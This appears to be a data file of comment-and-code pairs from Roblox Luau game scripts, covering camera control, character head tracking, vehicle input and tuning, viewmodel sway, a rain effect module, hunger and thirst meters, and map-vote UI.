SoundId = "rbxasset://sounds/impact_water.mp3",
},
Swimming = {
SoundId = "rbxasset://sounds/action_swim.mp3",
Looped = true,
Pitch = 1.6,
},
}
|
--[[
@return Player Player Returns the player (or nil) who has claimed this model.
--]] |
function Ownership:GetOwner()
return self.Owner
end
|
-- Activation]: |
if TurnCharacterToMouse == true then
MseGuide = true
HeadHorFactor = 0
BodyHorFactor = 0
end
game:GetService("RunService").RenderStepped:Connect(function()
local CamCF = Cam.CoordinateFrame
if ((IsR6 and Body:WaitForChild("Torso")) or Body:WaitForChild("UpperTorso"))~=nil and Body:WaitForChild("Head")~=nil then --[Check for the Torso and Head...]
local TrsoLV = Trso.CFrame.lookVector
local HdPos = Head.CFrame.p
if IsR6 and Neck or Neck and Waist then --[Make sure the Neck still exists.]
if Cam.CameraSubject:IsDescendantOf(Body) or Cam.CameraSubject:IsDescendantOf(Plr) then
local Dist = nil;
local Diff = nil;
if not MseGuide then --[If not tracking the Mouse then get the Camera.]
Dist = (Head.CFrame.p-CamCF.p).magnitude
Diff = Head.CFrame.Y-CamCF.Y
if not IsR6 then --[R6 and R15 Neck rotation C0s are different; R15: X axis inverted and Z is now the Y.]
Neck.C0 = Neck.C0:lerp(NeckOrgnC0*Ang((aSin(Diff/Dist)*HeadVertFactor), -(((HdPos-CamCF.p).Unit):Cross(TrsoLV)).Y*HeadHorFactor, 0), UpdateSpeed/2)
Waist.C0 = Waist.C0:lerp(WaistOrgnC0*Ang((aSin(Diff/Dist)*BodyVertFactor), -(((HdPos-CamCF.p).Unit):Cross(TrsoLV)).Y*BodyHorFactor, 0), UpdateSpeed/2)
else --[R15s actually have the properly oriented Neck CFrame.]
Neck.C0 = Neck.C0:lerp(NeckOrgnC0*Ang(-(aSin(Diff/Dist)*HeadVertFactor), 0, -(((HdPos-CamCF.p).Unit):Cross(TrsoLV)).Y*HeadHorFactor),UpdateSpeed/2)
end
else
local Point = Mouse.Hit.p
Dist = (Head.CFrame.p-Point).magnitude
Diff = Head.CFrame.Y-Point.Y
if not IsR6 then
Neck.C0 = Neck.C0:lerp(NeckOrgnC0*Ang(-(aTan(Diff/Dist)*HeadVertFactor), (((HdPos-Point).Unit):Cross(TrsoLV)).Y*HeadHorFactor, 0), UpdateSpeed/2)
Waist.C0 = Waist.C0:lerp(WaistOrgnC0*Ang(-(aTan(Diff/Dist)*BodyVertFactor), (((HdPos-Point).Unit):Cross(TrsoLV)).Y*BodyHorFactor, 0), UpdateSpeed/2)
else
Neck.C0 = Neck.C0:lerp(NeckOrgnC0*Ang((aTan(Diff/Dist)*HeadVertFactor), 0, (((HdPos-Point).Unit):Cross(TrsoLV)).Y*HeadHorFactor), UpdateSpeed/2)
end
end
end
end
end
if TurnCharacterToMouse == true then
Hum.AutoRotate = false
Core.CFrame = Core.CFrame:lerp(CFrame.new(Core.Position, Vector3.new(Mouse.Hit.p.x, Core.Position.Y, Mouse.Hit.p.z)), UpdateSpeed / 2)
else
Hum.AutoRotate = true
end
end)
|
--// initialize manual-click left button //-- |
script.Parent.LeftButton.Button.MouseButton1Click:connect(function(left)
moveLeft()
end)
|
--Variables-- |
local set = script.Settings
local sp = set.Speed
local enabled = set.Enabled
local hum = script.Parent:WaitForChild("Humanoid")
local humanim = hum:LoadAnimation(script:FindFirstChildOfClass("Animation"))
if enabled.Value == true then
humanim:Play()
humanim.Looped = true
humanim:AdjustSpeed(sp.Value)
end
|
--------END STAGE--------
--------CREW-------- |
game.Workspace.crewp1.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.LeftBackground.Value)..""
game.Workspace.crewp2.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.RightBackground.Value)..""
game.Workspace.crewp3.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.LeftBackground.Value)..""
game.Workspace.crewp4.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.RightBackground.Value)..""
|
--[[Engine]] |
--Torque Curve
Tune.Horsepower = 450 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 6000 -- Use sliders to manipulate values
Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 5500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
--Incline Compensation
Tune.InclineComp = 4.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 100 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
--[[
Shorthand for a done handler that returns the given value.
]] |
function Promise.prototype:doneReturn(...)
local length, values = pack(...)
return self:_finally(debug.traceback(nil, 2), function()
return unpack(values, 1, length)
end, true)
end
Promise.prototype.DoneReturn = Promise.prototype.doneReturn
|
-- perform the update loop |
if rigtype == "R15" then
-- do the r15 update loop
stepped_con = game:GetService("RunService").RenderStepped:connect(function()
-- checkfirstperson() checks if camera is first person and enables/disables the viewmodel accordingly
checkfirstperson()
-- update loop
if isfirstperson == true then
-- make arms visible
visiblearms(true)
-- update walk sway if we are walking
if isrunning == true and includewalksway and humanoid:GetState() ~= Enum.HumanoidStateType.Freefall and humanoid:GetState() ~= Enum.HumanoidStateType.Landed then
walksway = walksway:lerp(
CFrame.new(
(0.1*swaysize) * math.sin(tick() * (2 * humanoid.WalkSpeed/4)),
(0.1*swaysize) * math.cos(tick() * (4 * humanoid.WalkSpeed/4)),
0
)*
CFrame.Angles(
0,
0,
(-.05*swaysize) * math.sin(tick() * (2 * humanoid.WalkSpeed/4))
)
,0.1*sensitivity)
else
walksway = walksway:Lerp(CFrame.new(), 0.05*sensitivity)
end
--
local delta = uis:GetMouseDelta()
if includecamerasway then
sway = sway:Lerp(Vector3.new(delta.X,delta.Y,delta.X/2), 0.1*sensitivity)
end
--
if includestrafe then
strafesway = strafesway:Lerp(CFrame.Angles(0,0,-rootpart.CFrame.rightVector:Dot(humanoid.MoveDirection)/(10/swaysize)), 0.1*sensitivity)
end
--
if includejumpsway then
jumpsway = jumpswaygoal.Value
end
-- update animation transform for viewmodel
rightshoulderclone.Transform = rightshoulder.Transform
leftshoulderclone.Transform = leftshoulder.Transform
if firstperson_waist_movements_enabled then
waistclone.Transform = waist.Transform
end
-- cframe the viewmodel
local finalcf = (camera.CFrame*walksway*jumpsway*strafesway*CFrame.Angles(math.rad(sway.Y*swaysize),math.rad(sway.X*swaysize)/10,math.rad(sway.Z*swaysize)/2))+(camera.CFrame.UpVector*(-1.7-headoffset))+camera.CFrame.LookVector*0+(camera.CFrame.RightVector*-(sway.X*swaysize)/75)
viewmodel:SetPrimaryPartCFrame(finalcf)
end
end)
elseif rigtype == "R6" then
-- do the R6 update loop
stepped_con = game:GetService("RunService").RenderStepped:connect(function()
-- checkfirstperson() checks if camera is first person and enables/disables the viewmodel accordingly
checkfirstperson()
-- update loop
if isfirstperson == true then
-- make arms visible
visiblearms(true)
-- update walk sway if we are walking
if isrunning == true and includewalksway and humanoid:GetState() ~= Enum.HumanoidStateType.Freefall and humanoid:GetState() ~= Enum.HumanoidStateType.Landed then
walksway = walksway:lerp(
CFrame.new(
(0.07*swaysize) * math.sin(tick() * (2 * humanoid.WalkSpeed/4)),
(0.07*swaysize) * math.cos(tick() * (4 * humanoid.WalkSpeed/4)),
0
)*
CFrame.Angles(
0,
0,
(-.03*swaysize) * math.sin(tick() * (2 * humanoid.WalkSpeed/4))
)
,0.2*sensitivity)
else
walksway = walksway:Lerp(CFrame.new(), 0.05*sensitivity)
end
--
local delta = uis:GetMouseDelta()
--
if includecamerasway then
sway = sway:Lerp(Vector3.new(delta.X,delta.Y,delta.X/2), 0.1*sensitivity)
end
--
if includestrafe then
strafesway = strafesway:Lerp(CFrame.Angles(0,0,-rootpart.CFrame.rightVector:Dot(humanoid.MoveDirection)/(20/swaysize)), 0.1*sensitivity)
end
--
if includejumpsway == true then
jumpsway = jumpswaygoal.Value
end
-- update animation transform for viewmodel
rightshoulderclone.Transform = rightshoulder.Transform
leftshoulderclone.Transform = leftshoulder.Transform
-- cframe the viewmodel
local finalcf = (camera.CFrame*walksway*jumpsway*strafesway*CFrame.Angles(math.rad(sway.Y*swaysize),math.rad(sway.X*swaysize)/10,math.rad(sway.Z*swaysize)/2))+(camera.CFrame.UpVector*(-1.7-headoffset))+camera.CFrame.LookVector*0+(camera.CFrame.RightVector*-(sway.X*swaysize)/75)
viewmodel:SetPrimaryPartCFrame(finalcf)
end
end)
end
|
-- Check if character is there |
if script.Owner.Value.Character ~= nil and script.Owner.Value.Character:FindFirstChild("Humanoid") ~= nil then
-- Record base walkspeed
local baseWalkSpeed = script.Owner.Value.Character.Humanoid.WalkSpeed
-- Make it to change the walkspeed on knife entry/exit
script.Owner.Value.Character.ChildAdded:connect(function(child)
if child.Name == "Knife" and script.Owner.Value.Character:FindFirstChild("Humanoid") and script.Owner.Value.Character.Humanoid.WalkSpeed == baseWalkSpeed then
script.Owner.Value.Character.Humanoid.WalkSpeed = baseWalkSpeed * WALKSPEED_CHANGE
end
end)
script.Owner.Value.Character.ChildRemoved:connect(function(child)
if child.Name == "Knife" and script.Owner.Value.Character:FindFirstChild("Humanoid") and script.Owner.Value.Character.Humanoid.WalkSpeed ~= baseWalkSpeed then
script.Owner.Value.Character.Humanoid.WalkSpeed = baseWalkSpeed
end
end)
end
|
-- Touched events |
F_Detector.Touched:Connect(function(x)
speedVar = ((math.floor(((10/12) * (60/88)) * script.Parent.Parent:WaitForChild('A-Chassis Interface').Values.Velocity.Value.Magnitude)))
handle('front', x)
end)
FL_Detector.Touched:Connect(function(x)
speedVar = ((math.floor(((10/12) * (60/88)) * script.Parent.Parent:WaitForChild('A-Chassis Interface').Values.Velocity.Value.Magnitude)))
handle('frontleft', x)
end)
FR_Detector.Touched:Connect(function(x)
speedVar = ((math.floor(((10/12) * (60/88)) * script.Parent.Parent:WaitForChild('A-Chassis Interface').Values.Velocity.Value.Magnitude)))
handle('frontright', x)
end)
R_Detector.Touched:Connect(function(x)
speedVar = ((math.floor(((10/12) * (60/88)) * script.Parent.Parent:WaitForChild('A-Chassis Interface').Values.Velocity.Value.Magnitude)))
handle('right', x)
end)
L_Detector.Touched:Connect(function(x)
speedVar = ((math.floor(((10/12) * (60/88)) * script.Parent.Parent:WaitForChild('A-Chassis Interface').Values.Velocity.Value.Magnitude)))
handle('left', x)
end)
|
-- May return NaN or inf or -inf
-- This is a way of finding the angle between the two vectors: |
local function findAngleBetweenXZVectors(vec2, vec1)
return math.atan2(vec1.X*vec2.Z-vec1.Z*vec2.X, vec1.X*vec2.X + vec1.Z*vec2.Z)
end
local function CreateClassicCamera()
local module = RootCameraCreator()
local tweenAcceleration = math.rad(220)
local tweenSpeed = math.rad(0)
local tweenMaxSpeed = math.rad(250)
local timeBeforeAutoRotate = 2
local lastThumbstickRotate = nil
local numOfSeconds = 0.7
local currentSpeed = 0
local maxSpeed = 0.1
local thumbstickSensitivity = 1
local lastThumbstickPos = Vector2.new(0,0)
local ySensitivity = 0.8
local lastVelocity = nil
local lastUpdate = tick()
module.LastUserPanCamera = tick()
function module:Update()
local now = tick()
local userPanningTheCamera = (self.UserPanningTheCamera == true)
local camera = workspace.CurrentCamera
local player = PlayersService.LocalPlayer
local humanoid = self:GetHumanoid()
local cameraSubject = camera and camera.CameraSubject
local isInVehicle = cameraSubject and cameraSubject:IsA('VehicleSeat')
local isOnASkateboard = cameraSubject and cameraSubject:IsA('SkateboardPlatform')
if lastUpdate == nil or now - lastUpdate > 1 then
module:ResetCameraLook()
self.LastCameraTransform = nil
end
if lastUpdate then
-- Cap out the delta to 0.5 so we don't get some crazy things when we re-resume from
local delta = math.min(0.5, now - lastUpdate)
local angle = 0
if not (isInVehicle or isOnASkateboard) then
angle = angle + (self.TurningLeft and -120 or 0)
angle = angle + (self.TurningRight and 120 or 0)
end
local gamepadRotation = self:UpdateGamepad()
if gamepadRotation ~= Vector2.new(0,0) then
userPanningTheCamera = true
self.RotateInput = self.RotateInput + gamepadRotation
end
if angle ~= 0 then
userPanningTheCamera = true
self.RotateInput = self.RotateInput + Vector2.new(math.rad(angle * delta), 0)
end
end
-- Reset tween speed if user is panning
if userPanningTheCamera then
tweenSpeed = 0
module.LastUserPanCamera = tick()
end
local userRecentlyPannedCamera = now - module.LastUserPanCamera < timeBeforeAutoRotate
local subjectPosition = self:GetSubjectPosition()
if subjectPosition and player and camera then
local zoom = self:GetCameraZoom()
if zoom < 0.5 then
zoom = 0.5
end
if self:GetShiftLock() and not self:IsInFirstPerson() then
-- We need to use the right vector of the camera after rotation, not before
local newLookVector = self:RotateCamera(self:GetCameraLook(), self.RotateInput)
local offset = ((newLookVector * XZ_VECTOR):Cross(UP_VECTOR).unit * 1.75)
if IsFiniteVector3(offset) then
subjectPosition = subjectPosition + offset
end
else
if self.LastCameraTransform and not userPanningTheCamera then
local isInFirstPerson = self:IsInFirstPerson()
if (isInVehicle or isOnASkateboard) and lastUpdate and humanoid and humanoid.Torso then
if isInFirstPerson then
if self.LastSubjectCFrame and (isInVehicle or isOnASkateboard) and cameraSubject:IsA('BasePart') then
local y = -findAngleBetweenXZVectors(self.LastSubjectCFrame.lookVector, cameraSubject.CFrame.lookVector)
if IsFinite(y) then
self.RotateInput = self.RotateInput + Vector2.new(y, 0)
end
tweenSpeed = 0
end
elseif not userRecentlyPannedCamera then
local forwardVector = humanoid.Torso.CFrame.lookVector
if isOnASkateboard then
forwardVector = cameraSubject.CFrame.lookVector
end
local timeDelta = (now - lastUpdate)
tweenSpeed = clamp(0, tweenMaxSpeed, tweenSpeed + tweenAcceleration * timeDelta)
local percent = clamp(0, 1, tweenSpeed * timeDelta)
if self:IsInFirstPerson() then
percent = 1
end
local y = findAngleBetweenXZVectors(forwardVector, self:GetCameraLook())
if IsFinite(y) and math.abs(y) > 0.0001 then
self.RotateInput = self.RotateInput + Vector2.new(y * percent, 0)
end
end
end
end
end
local newLookVector = self:RotateCamera(self:GetCameraLook(), self.RotateInput)
self.RotateInput = Vector2.new()
camera.Focus = CFrame.new(subjectPosition)
camera.CoordinateFrame = CFrame.new(camera.Focus.p - (zoom * newLookVector), camera.Focus.p)
self.LastCameraTransform = camera.CoordinateFrame
if isInVehicle or isOnASkateboard and cameraSubject:IsA('BasePart') then
self.LastSubjectCFrame = cameraSubject.CFrame
else
self.LastSubjectCFrame = nil
end
end
lastUpdate = now
end
return module
end
return CreateClassicCamera
|
-- i know this is a bad code ♥♦♣♠ |
local toggle1 = false
local deb1 = false
local toggle2 = false
local deb2 = false
local function drawer1()
if not deb1 then
deb1 = true
local anim
if not toggle1 then
anim = TS:Create(cab1,TweenInfo.new(.6,Enum.EasingStyle.Quad,Enum.EasingDirection.InOut,0,false,0),{CFrame = cab1.CFrame * CFrame.new(0,0,.95)})
else
anim = TS:Create(cab1,TweenInfo.new(.6,Enum.EasingStyle.Quad,Enum.EasingDirection.InOut,0,false,0),{CFrame = cab1.CFrame * CFrame.new(0,0,-.95)})
end
anim.Completed:Connect(function()
toggle1 = not toggle1
deb1 = false
end)
anim:Play()
end
end
local function drawer2()
if not deb2 then
deb2 = true
local anim
if not toggle2 then
anim = TS:Create(cab2,TweenInfo.new(.6,Enum.EasingStyle.Quad,Enum.EasingDirection.InOut,0,false,0),{CFrame = cab2.CFrame * CFrame.new(0,0,.95)})
else
anim = TS:Create(cab2,TweenInfo.new(.6,Enum.EasingStyle.Quad,Enum.EasingDirection.InOut,0,false,0),{CFrame = cab2.CFrame * CFrame.new(0,0,-.95)})
end
anim.Completed:Connect(function()
toggle2 = not toggle2
deb2 = false
end)
anim:Play()
end
end
CD1.MouseClick:Connect(function()
drawer1()
end)
CD1_2.MouseClick:Connect(function()
drawer1()
end)
CD2.MouseClick:Connect(function()
drawer2()
end)
CD2_2.MouseClick:Connect(function()
drawer2()
end)
|
--Input Handler |
function DealWithInput(input,IsRobloxFunction)
if (UserInputService:GetFocusedTextBox()==nil) and not _InControls then --Ignore when UI Focus
--Toggle PBrake
if _IsOn and input.KeyCode ==_CTRL["ContlrPBrake"] or input.KeyCode==_CTRL["PBrake"] then
if input.UserInputState == Enum.UserInputState.Begin then
_PBrake = not _PBrake
elseif input.UserInputState == Enum.UserInputState.End then
if car.DriveSeat.Velocity.Magnitude>5 then _PBrake = false end
end
--Throttle
elseif _IsOn and (input.KeyCode==_CTRL["Throttle"] or input.KeyCode == _CTRL["Throttle2"]) then
if input.UserInputState == Enum.UserInputState.Begin then _GThrot = 1 else _GThrot = 0 end
--Brake
elseif (input.KeyCode==_CTRL["Brake"] or input.KeyCode == _CTRL["Brake2"]) then
if input.UserInputState == Enum.UserInputState.Begin then _GBrake = 1 else _GBrake = 0 end
--Steer Left
elseif (input.KeyCode==_CTRL["SteerLeft"] or input.KeyCode == _CTRL["SteerLeft2"]) then
if input.UserInputState == Enum.UserInputState.Begin then
_GSteerT = -1
_SteerL = true
else
if _SteerR then _GSteerT = 1 else _GSteerT = 0 end
_SteerL = false
end
--Steer Right
elseif (input.KeyCode==_CTRL["SteerRight"] or input.KeyCode == _CTRL["SteerRight2"]) then
if input.UserInputState == Enum.UserInputState.Begin then
_GSteerT = 1
_SteerR = true
else
if _SteerL then _GSteerT = -1 else _GSteerT = 0 end
_SteerR = false
end
end
--Variable Controls
if input.UserInputType.Name:find("Gamepad") then
--Gamepad Steering
if input.KeyCode == _CTRL["ContlrSteer"] then
if input.Position.X>= 0 then
local cDZone = math.min(.99,_Tune.Peripherals.ControlRDZone/100)
if math.abs(input.Position.X)>cDZone then _GSteerT = (input.Position.X-cDZone)/(1-cDZone) else _GSteerT = 0 end
else
local cDZone = math.min(.99,_Tune.Peripherals.ControlLDZone/100)
if math.abs(input.Position.X)>cDZone then _GSteerT = (input.Position.X+cDZone)/(1-cDZone) else _GSteerT = 0 end
end
--Gamepad Throttle
elseif _IsOn and input.KeyCode == _CTRL["ContlrThrottle"] then
_GThrot = input.Position.Z
--Gamepad Brake
elseif input.KeyCode == _CTRL["ContlrBrake"] then
_GBrake = input.Position.Z
end
end
else
_GThrot = 0
_GSteerT = 0
_GBrake = 0
end
end
UserInputService.InputBegan:connect(DealWithInput)
UserInputService.InputChanged:connect(DealWithInput)
UserInputService.InputEnded:connect(DealWithInput)
while wait() do
script.Parent.Values.Throttle.Value = _GThrot
script.Parent.Values.Brake.Value = _GBrake
script.Parent.Values.SteerT.Value = _GSteerT
script.Parent.Values.PBrake.Value = _PBrake
end |
--[[
This function is used to get all of the AccessoryTypes that are used by the
items in state so that we have a list of possible filters that always return
at least one item.
]] |
local MerchBooth = script:FindFirstAncestor("MerchBooth")
local matchAssetTypeToAccessoryType = require(MerchBooth.Modules.matchAssetTypeToAccessoryType)
local serverReducer = require(MerchBooth.Reducers.serverReducer)
local types = require(MerchBooth.types)
local function getAvailableAccessoryTypes(itemInfo: serverReducer.ItemInfoState): { types.ProductType }
local accessoryTypeDict: { [types.ProductType]: boolean } = {}
local accessoryTypes: { types.ProductType } = {}
for _, item in pairs(itemInfo) do
if item.productType == Enum.InfoType.Asset then
accessoryTypeDict[matchAssetTypeToAccessoryType(item.assetType)] = true
else
accessoryTypeDict[item.productType] = true
end
end
for accessoryType in pairs(accessoryTypeDict) do
table.insert(accessoryTypes, accessoryType)
end
return accessoryTypes
end
return getAvailableAccessoryTypes
|
--APPEARANCE |
local RainThickness = 0.1 --Thickness of the rain drops in studs
local RainLength = 5 --Length of the rain drop in studs
local RainTransparency = 0.8 --Transparency of the rain
local TrailPerPart = 4 --Amount of trails adorned to one part
local TrailPartRadius = 10 --Max radius from the part a trail can be adorned
local TrailYOffset = 20 --Max Y offset a trail can have
local RainParent = Instance.new("Folder")
RainParent.Name = "Rain"
RainParent.Parent = game.Workspace.CurrentCamera
local RainPart = Instance.new("Part")
RainPart.Transparency = 1
RainPart.Size = Vector3.new(0.2,0.2,0.2)
RainPart.Anchored = true
RainPart.CanCollide = false
RainPart.TopSurface = "Smooth"
RainPart.BottomSurface = "Smooth"
local function AdornRandomTrailToPart()
local RandomCenterX,RandomCenterZ = math.random(-TrailPartRadius,TrailPartRadius),math.random(-TrailPartRadius,TrailPartRadius)
local YOffset = math.random(0,TrailYOffset)
local Attahcment1 = Instance.new("Attachment")
Attahcment1.Position = Vector3.new(RandomCenterX - RainThickness/2,YOffset,RandomCenterZ)
Attahcment1.Parent = RainPart
local Attahcment2 = Instance.new("Attachment")
Attahcment2.Position = Vector3.new(RandomCenterX + RainThickness/2,YOffset,RandomCenterZ)
Attahcment2.Parent = RainPart
local Trail = Instance.new("Trail")
Trail.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,RainTransparency,0),NumberSequenceKeypoint.new(1,1)})
Trail.Attachment0 = Attahcment1
Trail.Attachment1 = Attahcment2
Trail.Lifetime = RainLength/RainFallSpeed
Trail.Parent = RainPart
end
for _ = 1, TrailPerPart do
AdornRandomTrailToPart()
end
local Camera = game.Workspace.CurrentCamera
local RenderStepped = game:GetService("RunService").RenderStepped
local RainRadiusDiv2 = RainRadius/2
local RainPartClone = RainPart.Clone
local CFramenew,CFrameAngles = CFrame.new,CFrame.Angles
local random = math.random
local RenderSteppedConnect = RenderStepped.Connect
local RainAPI = {}
local OverridenRegions = {}
local CurrentOverrideId = 0
local CurrentCreateEvent
local function CreateRainDrop(StartX,StartY,StartZ,EndX,EndY,EndZ,Rotation)
local StartCF,EndCF = CFramenew(StartX,StartY,StartZ) * Rotation,CFramenew(EndX,EndY,EndZ) * Rotation
local LerpFunction = StartCF.lerp
local function GetCFrame(Alpha)
return LerpFunction(StartCF,EndCF,Alpha)
end
local NewDrop = RainPartClone(RainPart)
NewDrop.CFrame = StartCF
NewDrop.Parent = RainParent
local FallTime = (StartY - EndY)/RainFallSpeed
local StartTime = tick()
local RenderSteppedEvent
RenderSteppedEvent = RenderSteppedConnect(RenderStepped,function()
local Alpha = (tick() - StartTime)/FallTime
if Alpha > 1 then
NewDrop:Destroy()
RenderSteppedEvent:disconnect()
else
NewDrop.CFrame = GetCFrame(Alpha)
end
end)
end
local function SpawnRainDrop(CenterX,CenterZ)
local X,Z = CenterX + random(-RainRadiusDiv2,RainRadiusDiv2),CenterZ + random(-RainRadiusDiv2,RainRadiusDiv2)
local StartY,EndY = StartY,DefaultEndY
for i = 1, #OverridenRegions do
local RegionData = OverridenRegions[i]
if X > RegionData[1] and Z > RegionData[2] and X < RegionData[3] and Z < RegionData[4] then
EndY = RegionData[5]
break
end
end
local FallTime = (StartY - EndY)/RainFallSpeed
local WindOffsetX,WindOffsetZ = (FallTime * WindSpeedX)/2,(FallTime * WindSpeedZ)/2
CreateRainDrop(X - WindOffsetX,StartY,Z - WindOffsetZ,X + WindOffsetX,EndY,Z + WindOffsetZ,CFrameAngles(0,random(),0))
end
local function StopRain()
if CurrentCreateEvent then CurrentCreateEvent:Disconnect() end
end
local function StartRain()
StopRain()
CurrentCreateEvent = RenderSteppedConnect(RenderStepped,function(Delta)
local CameraPosition = Camera.CFrame.p
local X,Z = CameraPosition.X,CameraPosition.Z
for _ = 1, RainGroupsPerSecond * Delta do
SpawnRainDrop(X,Z)
end
end)
end
function RainAPI:AddOverrideRegion(X1,Z1,X2,Z2,OverrideY)
CurrentOverrideId = CurrentOverrideId + 1
local Id = CurrentOverrideId
table.insert(OverridenRegions,{X1 - TrailPartRadius,Z1 - TrailPartRadius,X2 + TrailPartRadius,Z2 + TrailPartRadius,OverrideY,Id})
return Id
end
function RainAPI:RemoveOverrideRegion(Id)
for i,RegionData in pairs(OverridenRegions) do
if RegionData[6] == i then
table.remove(OverridenRegions,i)
end
end
end
function RainAPI:StartRain()
StartRain()
end
function RainAPI:StopRain()
StopRain()
end
function RainAPI:SetWindSpeed(X,Z)
WindSpeedX = X
WindSpeedZ = Z
end
function RainAPI:GetWindSpeed()
return WindSpeedX,WindSpeedZ
end
function RainAPI:SetRainGroupsPerSecond(NewRainGroupsPerSecond)
RainGroupsPerSecond = NewRainGroupsPerSecond
end
function RainAPI:GetRainGroupsPerSecond()
return RainGroupsPerSecond
end
return RainAPI
|
--local Text = thirstGui:WaitForChild("Back"):WaitForchild("Text") |
local plr = game.Players.LocalPlayer
repeat wait() until plr.Character -- waiting for player to load
local UIS = game:GetService("UserInputService")
local hum = plr.Character:WaitForChild("Humanoid")
local maxThirst = 100
local maxHunger = 100
local thirstValue
local hungerValue
if plr:FindFirstChild("HungerVal") then
hungerValue = plr.HungerVal
hungerValue.Value = maxHunger
else
Instance.new("IntValue", plr).Name = "HungerVal"
plr.HungerVal.Value = maxHunger
hungerValue = plr.HungerVal
end
if plr:FindFirstChild("ThirstVal") then
thirstValue = plr.ThirstVal
thirstValue.Value = maxThirst
else
Instance.new("IntValue", plr).Name = "ThirstVal"
plr.ThirstVal.Value = maxThirst
thirstValue = plr.ThirstVal
end
local hungerValue = plr:WaitForChild("HungerVal")
local Frame = thirstGui.Frame
local TS = game:GetService("TweenService")
thirstValue.Changed:connect(function()
script.Parent.Frame.Sede.ImageTransparency = 0
script.Parent.Frame.Fome.ImageTransparency = 0
if thirstValue.Value > 60 then
TS:Create(Frame.Sede,TweenInfo.new(1,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,0,false,0),{ImageColor3 = Color3.fromRGB(255,255,255),ImageTransparency = 1}):Play()
elseif thirstValue.Value <= 0 then
MedicSys.Fome:FireServer()
elseif thirstValue.Value <= 30 then
TS:Create(Frame.Sede,TweenInfo.new(1,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,0,false,0),{ImageColor3 = Color3.fromRGB(255,((thirstValue.Value/30)*255),((thirstValue.Value/60)*255)),ImageTransparency = 0}):Play()
elseif thirstValue.Value <= 60 then
TS:Create(Frame.Sede,TweenInfo.new(1,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,0,false,0),{ImageColor3 = Color3.fromRGB(255,255,((thirstValue.Value/60)*255)),ImageTransparency = 0}):Play()
end
end)
hungerValue.Changed:connect(function()
if hungerValue.Value > 60 then
TS:Create(Frame.Fome,TweenInfo.new(1,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,0,false,0),{ImageColor3 = Color3.fromRGB(255,255,255),ImageTransparency = 1}):Play()
elseif hungerValue.Value <= 0 then
MedicSys.Fome:FireServer()
elseif hungerValue.Value <= 30 then
TS:Create(Frame.Fome,TweenInfo.new(1,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,0,false,0),{ImageColor3 = Color3.fromRGB(255,((hungerValue.Value/30)*255),((hungerValue.Value/60)*255)),ImageTransparency = 0}):Play()
elseif hungerValue.Value <= 60 then
TS:Create(Frame.Fome,TweenInfo.new(1,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,0,false,0),{ImageColor3 = Color3.fromRGB(255,255,((hungerValue.Value/60)*255)),ImageTransparency = 0}):Play()
end
end)
coroutine.wrap(function()
while wait(ServerConfig.HungerWaitTime) do
if hungerValue.Value - 1 >= 0 then
hungerValue.Value = hungerValue.Value - 1
end
end
end)()
coroutine.wrap(function()
while wait(ServerConfig.ThirstWaitTime) do
if thirstValue.Value - 1 >= 0 then
thirstValue.Value = thirstValue.Value - 1
end
end
end)
|
-- if you have any questions, feel free to contact me on twitter or discord | |
-- goro7 |
local voteStates = game.ServerStorage.States.MapVote
voteStates.CurrentlyVoting.Changed:connect(function()
-- Adjust visiblity
local newVal = voteStates.CurrentlyVoting.Value
script.Parent.Image.Visible = newVal
script.Parent.CountLabel.Visible = newVal
script.Parent.MapName.Visible = newVal
script.Parent.Count.Visible = newVal
end)
voteStates.Map1.Changed:connect(function()
-- Update map name and image
local newMap = voteStates.Map1.Value
script.Parent.Image.Image = newMap.ImageAsset.Value
script.Parent.MapName.Text = newMap.Name
end)
voteStates.Count1.Changed:connect(function()
-- Update map count
script.Parent.Count.Text = voteStates.Count1.Value
end)
|
--!strict
-- Zoom
-- Controls the distance between the focus and the camera. |
local ZOOM_STIFFNESS = 4.5
local ZOOM_DEFAULT = 12.5
local ZOOM_ACCELERATION = 0.0375
local MIN_FOCUS_DIST = 0.5
local DIST_OPAQUE = 1
local Popper = require(script:WaitForChild("Popper"))
local clamp = math.clamp
local exp = math.exp
local min = math.min
local max = math.max
local pi = math.pi
local cameraMinZoomDistance, cameraMaxZoomDistance do
local Player = game:GetService("Players").LocalPlayer
local function updateBounds()
cameraMinZoomDistance = Player.CameraMinZoomDistance
cameraMaxZoomDistance = Player.CameraMaxZoomDistance
end
updateBounds()
Player:GetPropertyChangedSignal("CameraMinZoomDistance"):Connect(updateBounds)
Player:GetPropertyChangedSignal("CameraMaxZoomDistance"):Connect(updateBounds)
end
local ConstrainedSpring = {} do
ConstrainedSpring.__index = ConstrainedSpring
function ConstrainedSpring.new(freq: number, x: number, minValue: number, maxValue: number)
x = clamp(x, minValue, maxValue)
return setmetatable({
freq = freq, -- Undamped frequency (Hz)
x = x, -- Current position
v = 0, -- Current velocity
minValue = minValue, -- Minimum bound
maxValue = maxValue, -- Maximum bound
goal = x, -- Goal position
}, ConstrainedSpring)
end
function ConstrainedSpring:Step(dt: number)
local freq = self.freq :: number * 2 * pi -- Convert from Hz to rad/s
local x: number = self.x
local v: number = self.v
local minValue: number = self.minValue
local maxValue: number = self.maxValue
local goal: number = self.goal
-- Solve the spring ODE for position and velocity after time t, assuming critical damping:
-- 2*f*x'[t] + x''[t] = f^2*(g - x[t])
-- Knowns are x[0] and x'[0].
-- Solve for x[t] and x'[t].
local offset = goal - x
local step = freq*dt
local decay = exp(-step)
